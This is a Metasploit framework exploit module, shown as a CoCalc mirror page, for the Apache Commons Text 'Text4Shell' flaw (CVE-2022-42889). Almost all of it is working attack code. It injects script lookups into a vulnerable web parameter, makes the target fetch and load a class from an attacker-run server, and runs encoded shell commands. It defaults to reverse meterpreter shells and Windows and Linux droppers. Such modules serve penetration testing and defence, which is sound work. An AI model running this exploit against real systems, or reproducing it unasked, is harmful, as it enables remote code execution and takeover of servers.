CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_commons_text4shell.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Commons Text RCE',
18
'Description' => %q{
19
This exploit takes advantage of the StringSubstitutor interpolator class,
20
which is included in the Commons Text library. A default interpolator
21
allows for string lookups that can lead to Remote Code Execution. This
22
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
23
keys interpolated by default, as opposed to what it should be, according
24
to the documentation of the StringLookupFactory class. Those keys allow
25
an attacker to execute arbitrary code via lookups primarily using the
26
"script" key.
27
28
In order to exploit the vulnerabilities, the following requirements must
29
be met:
30
31
Run a version of Apache Commons Text from version 1.5 to 1.9
32
Use the StringSubstitutor interpolator
33
Target should run JDK < 15
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Alvaro Muñoz', # Original research
38
'Karthik UJ', # PoC
39
'Gaurav Jain', # Metasploit module
40
],
41
'References' => [
42
['CVE', '2022-42889'],
43
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
44
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
45
],
46
'Platform' => ['win', 'linux', 'unix', 'java'],
47
'Targets' => [
48
[
49
'Java (in-memory)',
50
{
51
'Type' => :java,
52
'Platform' => 'java',
53
'Arch' => ARCH_JAVA,
54
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
55
},
56
],
57
[
58
'Windows EXE Dropper',
59
{
60
'Platform' => 'win',
61
'Arch' => [ARCH_X86, ARCH_X64],
62
'Type' => :windows_dropper,
63
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
64
}
65
],
66
[
67
'Windows Command',
68
{
69
'Platform' => 'win',
70
'Arch' => ARCH_CMD,
71
'Type' => :windows_cmd,
72
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
73
}
74
],
75
[
76
'Unix Command',
77
{
78
'Platform' => 'unix',
79
'Arch' => ARCH_CMD,
80
'Type' => :unix_cmd,
81
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
82
}
83
],
84
[
85
'Linux Dropper',
86
{
87
'Platform' => 'linux',
88
'Arch' => [ARCH_X86, ARCH_X64],
89
'Type' => :linux_dropper,
90
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
91
}
92
]
93
],
94
'Privileged' => false,
95
'DisclosureDate' => '2022-10-13',
96
'DefaultTarget' => 0,
97
'Notes' => {
98
'Stability' => [CRASH_SAFE],
99
'Reliability' => [REPEATABLE_SESSION],
100
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
101
}
102
)
103
)
104
register_options([
105
OptString.new('TARGETURI', [ true, 'The target URI', '/']),
106
OptString.new('PARAM', [ true, 'The vulnerable parameter']),
107
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
108
])
109
end
110
111
def check
112
vprint_status("Checking if #{peer} can be exploited.")
113
res = send_exp
114
return CheckCode::Unknown('No response received from target.') unless res
115
116
# blind command injection using sleep command
117
sleep_time = rand(4..8)
118
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
119
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
120
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
121
end
122
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
123
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
124
125
CheckCode::Vulnerable('Successfully tested command injection.')
126
end
127
128
def exploit
129
case target['Type']
130
when :java
131
# Start the HTTP server to serve the payload
132
java_class_loader_start_service
133
# Trigger a loadClass request via java.net.URLClassLoader
134
trigger_urlclassloader
135
# Handle the payload
136
handler
137
when :windows_cmd, :unix_cmd
138
execute_command(payload.encoded)
139
when :windows_dropper, :linux_dropper
140
execute_cmdstager
141
end
142
end
143
144
def trigger_urlclassloader
145
url = get_uri
146
147
vars = Rex::RandomIdentifier::Generator.new
148
149
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
150
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
151
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"
152
153
res = send_exp(exp)
154
155
fail_with(Failure::Unreachable, 'No response received from the target') unless res
156
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
157
end
158
159
def execute_command(cmd, _opts = {})
160
vars = Rex::RandomIdentifier::Generator.new
161
162
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
163
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"
164
165
res = send_exp(exp)
166
167
fail_with(Failure::Unreachable, 'No response received from the target') unless res
168
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
169
end
170
171
def send_exp(exp = '')
172
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
173
send_request_cgi(
174
'method' => datastore['METHOD'],
175
'uri' => normalize_uri(target_uri.path),
176
177
vars => {
178
datastore['PARAM'] => "${script:javascript:#{exp}}"
179
}
180
)
181
end
182
183
def win_target?
184
target['Platform'] == 'win'
185
end
186
187
def on_request_uri(cli, request)
188
case target['Type']
189
when :java
190
# Call method to handle java payload staging
191
super(cli, request)
192
else
193
# Handle win/unix cmd staging
194
client = cli.peerhost
195
print_status("Client #{client} requested #{request.uri}")
196
print_status("Sending payload to #{client}")
197
send_response(cli, exe)
198
end
199
end
200
end
201
202